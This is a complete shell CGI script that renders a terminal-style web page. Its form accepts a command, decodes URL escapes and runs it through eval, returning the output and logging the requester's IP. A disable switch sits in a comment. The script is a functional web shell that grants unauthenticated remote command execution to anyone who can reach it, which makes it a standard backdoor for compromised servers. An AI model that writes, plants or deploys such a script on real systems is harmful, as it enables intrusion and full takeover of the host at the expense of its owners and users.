#!/bin/sh

SCRIPTNAME=$(basename $0)
MAINCMD=$1
THISHOST=$(hostname)
THISUSER=$(whoami)
THISPATH=$(pwd)

# Comment this line to enable the script
#MAINCMD="disabled"

replace() {
    CMD=$(echo "$CMD" | sed "s.%$1.$2.g;s.%$3.$4.g;s.%$5.$6.g;s.%$7.$8.g")
}

fixcmd() {
    CMD=$(echo "$CMD" | sed 's/cmd=//;s/+/ /g;s.%2A.*.g;s.%40.@.g')
    replace 5C '\\' 22 '"' 60 '\`'  20 ' '
    replace 3A ':' 3B ';' 3C "<" 3D '='
    replace 3E '>' 3F '?' 21 '!' 23 '#'
    replace 24 '$' 25 '%' 26 '\&' 27 "'"
    replace 28 '(' 29 ')' 2B '+' 2C ','
    replace 2F '/' 5B '[' 5D ']' 5E '^'
    replace 7B '{' 7C '|' 7D '}' 7E '~'
}

execute() {
    eval $CMD 2>&1 | sed 's/</\&lt\;/g;s/>/\&gt\;/g'
    logger -t "cgi-shell" "$REMOTE_ADDR executed \"$CMD\""
}



echo "Content-type: text/html"
echo ""

cat << END
<HTML>
  <HEAD>
    <TITLE>CGI shell: ${THISHOST}</TITLE>
    <STYLE>
      BODY {
        background: #000000;
        color: #B0B0B0;
      }      
      B {
        color: #FFFFA0;
      } 
      INPUT {
        background: #000000;
        color: #A0FFA0;
        font-family: monospace;
        border: 1px solid #404040;
      }
    </STYLE>
  </HEAD>
  
  <BODY>
  <PRE>
  <TABLE>
  <TR>
   <TD>
     ${THISUSER}@${THISHOST}$
   </TD>
   <TD>
     <FORM NAME='frm' METHOD='POST' ACTION='${SCRIPTNAME}'>
     <INPUT NAME='cmd' SIZE='60' TYPE='edit'>
     </FORM>
    </TD>
  </TR>
  </TABLE>
END

case ${MAINCMD} in
disabled)
    echo "<SPAN STYLE='color: #505050'>[script has been disabled]</SPAN>"
    ;;

*)
    read CMD
    if [[ ! -z $CMD ]]; then
        echo "<B>Parameter</B>: <I>$CMD</I>"
        fixcmd;
        echo "<B>Executing</B>: <I>$CMD</I><BR>"
        execute;
    fi   
    ;;
    
esac

cat << END
    </PRE>
    <SCRIPT>frm.cmd.value="$CMD"; frm.cmd.select(); frm.cmd.focus();</SCRIPT>
  </BODY>
</HTML>
END